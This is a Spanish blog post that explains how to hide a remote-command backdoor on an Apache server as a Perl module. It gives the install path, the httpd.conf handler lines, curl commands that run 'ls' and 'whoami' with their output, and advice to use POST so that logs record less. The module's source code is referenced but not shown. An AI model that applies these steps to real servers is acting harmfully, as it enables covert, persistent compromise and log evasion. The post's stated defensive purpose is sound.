Backdooring Apache instalando módulos

julio 23, 2012 § 1 comentario

A la hora de pensar en cómo fortificar activos informáticos, diseñar políticas de seguridad o manejar información de un IDS, resulta importante tener todo el ‘background’ posible de las amenazas que te acechan.

El mundo de las ‘backdoors’ o herramientas destinadas a mantener un acceso ilegítimo, es muy amplio, rico y sofisticado, en el caso de Apache, parece que lo que más abunda son las típicas webshells, ficheros (normalmente en PHP) que se instalan como un CGI más pero con intención de poder ejecutar comandos a través del servidor web.

Este tipo de webshells tienen varios hándicaps:

  • Supone añadir un fichero en el directorio ‘caliente’ donde están las aplicaciones web.
  • Si se opta por modificar un fichero legítimo (troyanizarlo) se corre el riesgo de que en una actualización sea eliminado

En el post de hoy vamos a explicar una alternativa a las típicas webshells, vamos a crear una backdoor en forma de módulo Apache.

Crear un módulo Apache es relativamente sencillo ya que está bastante bien documentado como hacerlo, especialmente en C y Perl, optaremos por Perl para hacer un ejemplo sencillo de módulo ‘backdoor’ que funcione en cualquier instalación de Apache2 ahorrándonos tener que compilar nada.

Como se puede observar, bastante simple y sencillo, básicamente toma como parámetro (n) el comando a ejecutar, este comando es ejecutado, y se envía el resultado.

Para instalarlo, debemos copiar el fichero Auxiliar.pm (con el código anterior) en /usr/lib64/perl5/Apache2/ (ruta de una CentOS 6, otras distribuciones puede variar, especialmente si la arquitectura es 32bits)

Una vez copiado, necesitamos añadir las siguientes líneas en httpd.conf:

SetHandler perl-script
PerlHandler Apache2::Auxiliar

Reiniciamos el servidor, y si todo ha ido bien, ya tenemos disponible nuestra backdoor en forma de módulo.

La probamos:

$ curl -d "n=ls" http://192.168.4.66/auxiliar

[title]Backdoring Shell[/title]
bin
boot
cgroup
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var

$ curl -d "n=whoami" http://192.168.4.66/auxiliar

Funciona perfectamente. Es muy importante usar siempre peticiones de tipo POST, para evitar que quede logeado más de la cuenta (si bien mod_security permite entre otras cosas loguear el post completo):

Petición tipo GET almacenada en fichero de log:

GET /auxiliar?n=ls HTTP/1.1

Petición tipo POST almacenada en fichero de log:

POST /auxiliar HTTP/1.1

Fuente: Security by Default

About these ads

§ Una respuesta a Backdooring Apache instalando módulos

Deja un comentario

Por favor, inicia sesión con uno de estos métodos para publicar tu comentario:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

¿Qué es esto?

Actualmente estás leyendo Backdooring Apache instalando módulos en Seguridad Informática.

Meta

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 121 seguidores

A %d blogueros les gusta esto: